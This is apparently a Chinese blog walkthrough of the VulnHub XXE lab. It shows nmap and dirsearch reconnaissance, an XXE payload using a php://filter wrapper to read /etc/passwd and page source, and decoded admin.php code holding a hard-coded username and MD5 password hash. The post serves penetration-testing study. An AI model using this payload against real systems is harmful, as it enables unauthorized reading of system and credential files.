vulnhub-xxe靶机通关记录-优快云博客

本文链接：https://blog.youkuaiyun.com/2303_80867263/article/details/146296320

知识点:xxe,解码

下载链接:

http://download.vulnhub.com/xxe/XXE.zip

(建议下一个idm去下载,会变快很多),下好后,先把靶机改为和kali一个网卡模式(如:nat模式)

一.信息收集

1.主机探测

Arp-scan -l:探测内网主机

.1,2,254是kali自己的,167就是靶机的

探测出来之后使用nmap进行扫描

nmap -sS -T4 -sV -p- -O 192.168.191.167

-sS：进行 TCP SYN 扫描（也称为半开扫描）。

-T4：设置定时器模板为 aggressive 模式，这会使扫描速度加快。

-sV：启用服务版本检测。

-p-：指定扫描所有端口。

-O：启用操作系统检测。

2.目录扫描

用dirsearch进行目录扫描

发现一个robots.txt目录,点进去看看

那就再去看看里面的xxe和admin.php

Xxe

Admin.php没找到

那就试试去xxe/admin.php看看

又发现一个登陆框

二.漏洞挖掘

1.抓包发现疑似xxe

那就改包试试

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<

发现存在漏洞

三.漏洞利用

1.利用xxe读源码

直接去读admin.php看看有没有用户名,密码啥的

Base64拿去解码

<?php
   session_start();
?>

<html lang = "en">


   <head>

      <title>admin</title>

      <link href = "css/bootstrap.min.css" rel = "stylesheet">

     

      <style>

         body {

            padding-top: 40px;

            padding-bottom: 40px;

            background-color: #ADABAB;

         }

        

         .form-signin {

            max-width: 330px;

            padding: 15px;

            margin: 0 auto;

            color: #017572;

         }

        

         .form-signin .form-signin-heading,

         .form-signin .checkbox {

            margin-bottom: 10px;

         }

        

         .form-signin .checkbox {

            font-weight: normal;

         }

        

         .form-signin .form-control {

            position: relative;

            height: auto;

            -webkit-box-sizing: border-box;

            -moz-box-sizing: border-box;

            box-sizing: border-box;

            padding: 10px;

            font-size: 16px;

         }

        

         .form-signin .form-control:focus {

            z-index: 2;

         }

        

         .form-signin input[type="email"] {

            margin-bottom: -1px;

            border-bottom-right-radius: 0;

            border-bottom-left-radius: 0;

            border-color:#017572;

         }

        

         .form-signin input[type="password"] {

            margin-bottom: 10px;

            border-top-left-radius: 0;

            border-top-right-radius: 0;

            border-color:#017572;

         }

        

         h2{

            text-align: center;

            color: #017572;

         }

      </style>

     

   </head>



   <body>

     

      <h2>Enter Username and Password</h2>

      <div class = "container form-signin">

        

         <?php

            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username'])

               && !empty($_POST['password'])) {



               if ($_POST['username'] == 'administhebest' &&

                  md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {

                  $_SESSION['valid'] = true;

                  $_SESSION['timeout'] = time();

                  $_SESSION['username'] = 'administhebest';

                 

                echo "You have entered valid use name and password <br />";

$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";

echo $flag;

               }else {

                  $msg = 'Maybe Later';

               }

            }

         ?>

      </div> <!-- W00t/W00t -->

     

      <div class = "container">

     

         <form class = "form-signin" role = "form"

            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);

            ?>" method = "post">

            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>

            <input type = "text" class = "form-control"

               name = "username"

               required autofocus></br>

            <input type = "password" class = "form-control"

               name = "password" required>

            <button class = "btn btn-lg btn-primary btn-block" type = "submit"

               name = "login">Login</button>

         </form>
         Click here to clean <a href = "adminlog.php" tite = "Logout">Session.       
      </div>
   </body>

</html>